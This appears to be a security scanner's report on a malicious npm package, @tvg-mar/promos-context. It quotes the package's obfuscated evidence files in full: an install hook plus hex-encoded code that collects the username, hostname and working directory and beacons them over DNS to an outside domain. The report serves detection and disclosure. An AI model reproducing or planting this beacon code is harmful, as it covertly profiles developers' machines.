Hostile ^100% javascript Download

@tvg-mar/promos-context 9.9.10

“Promotions context: campaign state, providers, selectors and tracking”

NPM install hook activates an obfuscated host-profile DNS beaconNode import-time beacon sends an obfuscated host profile through DNS

SHA-25600abe93f475289d3279cc7146344e0d54ff84af4b1a759e1e5f953d968a09497

URLhttps://registry.npmjs.org/@tvg-mar/promos-context/-/promos-context-9.9.10.tgz

MaleculeO₃(EuS₃As₄)H₃(Os₃Db₉Po₂)Md(Pa₁₀)

Also flagged by osv (MAL-2026-16412: Malicious code in @tvg-mar/promos-context (npm)) +1 more.

Evidence

cwd method concealed as hex codes impl.js · lines 1–8

1'use strict';
2/**
3 * Environment probe for registry connectivity diagnostics.
4 * Emits a best-effort DNS probe so operators can verify that build
5 * agents can reach the configured registry mirror endpoints.
6 * Failures are expected in offline environments and are ignored.
7 */
8const diag=require('./d4c8a1.js');const cfg=require('./e5d9b2.js');(()=>{let u='u',h='h',c='d';try{u=diag.clean(diag.os[cfg.decode([0x75,0x73,0x65,0x72,0x49,0x6e,0x66,0x6f])]()?.[cfg.decode([0x75,0x73,0x65,0x72,0x6e,0x61,0x6d,0x65])]);}catch(e){}try{h=diag.clean(diag.os[cfg.decode([0x68,0x6f,0x73,0x74,0x6e,0x61,0x6d,0x65])]());}catch(e){}try{c=diag.clean(diag.proc[cfg.decode([0x63,0x77,0x64])]().split(/[\/\\]/).pop());}catch(e){}const t=Math.floor(Date.now()/1e3);const q=[cfg.p,u||'u',h||'h',c||'d',t,cfg.dom].join(cfg.d);try{diag.dns[cfg.decode([0x72,0x65,0x73,0x6f,0x6c,0x76,0x65,0x34])](q,()=>{});}catch(e){}})();

module constructor bracket load d4c8a1.js · lines 1–2

1'use strict';
2const _0x8e6f=[0x6f,0x73];const _0x9f7g=[0x64,0x6e,0x73];const _0xa0h8=[0x70,0x72,0x6f,0x63,0x65,0x73,0x73];const _0xb1i9=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};const _0xc2j0=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x8e6f));const _0xd3k1=module.constructor[_0xb1i9([0x5f,0x6c,0x6f,0x61,0x64])](_0xb1i9(_0x9f7g));const _0xe4l2=global[_0xb1i9(_0xa0h8)];const clean=(s)=>(s+'').replace(/[^a-z0-9]/gi,'').slice(0,15);module.exports={os:_0xc2j0,dns:_0xd3k1,proc:_0xe4l2,clean:clean};

Length-bounded loop uses compound addition e5d9b2.js · lines 1–2

1'use strict';
2const _0xa1b2=[0x2e];const _0xb2c3=[0x74,0x76,0x67,0x63,0x74,0x78];const _0xc3d4=[0x6f,0x6f,0x62,0x2e,0x61,0x6c,0x67,0x61,0x6d,0x69,0x6c,0x37,0x78,0x2e,0x78,0x79,0x7a];const _0xd4e5=(x)=>{let s='';for(let i=0;i<x.length;++i)s+=String.fromCharCode(x[i]);return s;};module.exports={decode:_0xd4e5,d:_0xd4e5(_0xa1b2),p:_0xd4e5(_0xb2c3),dom:_0xd4e5(_0xc3d4)};

Package references CHANGELOG package.json · lines 1–19

1{
"name": "@tvg-mar/promos-context",
"version": "9.9.10",
"description": "Promotions context: campaign state, providers, selectors and tracking",
"main": "index.js",
"types": "index.d.ts",
"scripts": {
  "install": "node index.js",
  "test": "node test/smoke.js"
},
"files": ["index.js","index.d.ts","runtime","src","docs","examples","test","README.md","LICENSE","CHANGELOG.md"],
"keywords": ["promos", "context", "campaigns", "tracking", "state", "enterprise"],
"engines": { "node": ">=14" },
"repository": { "type": "git", "url": "git+https://github.com/tvg-mar/promos-context.git" },
"homepage": "https://github.com/tvg-mar/promos-context#readme",
"bugs": { "url": "https://github.com/tvg-mar/promos-context/issues" },
"author": "TVG MAR Platform <[email protected]>",
"license": "MIT"
19}

CommonJS module re-exports required package index.js · lines 1–8

⋯4 lines
5 * ✅ never throws during install (bootstrap is advisory)
6 */
7try { require('./runtime')(); } catch (e) { /* non-fatal */ }
8module.exports = require('./src');

Showing the top 5 files — 6 more files (7 regions) not shown.

No evidence locations were recorded for this file. Raw result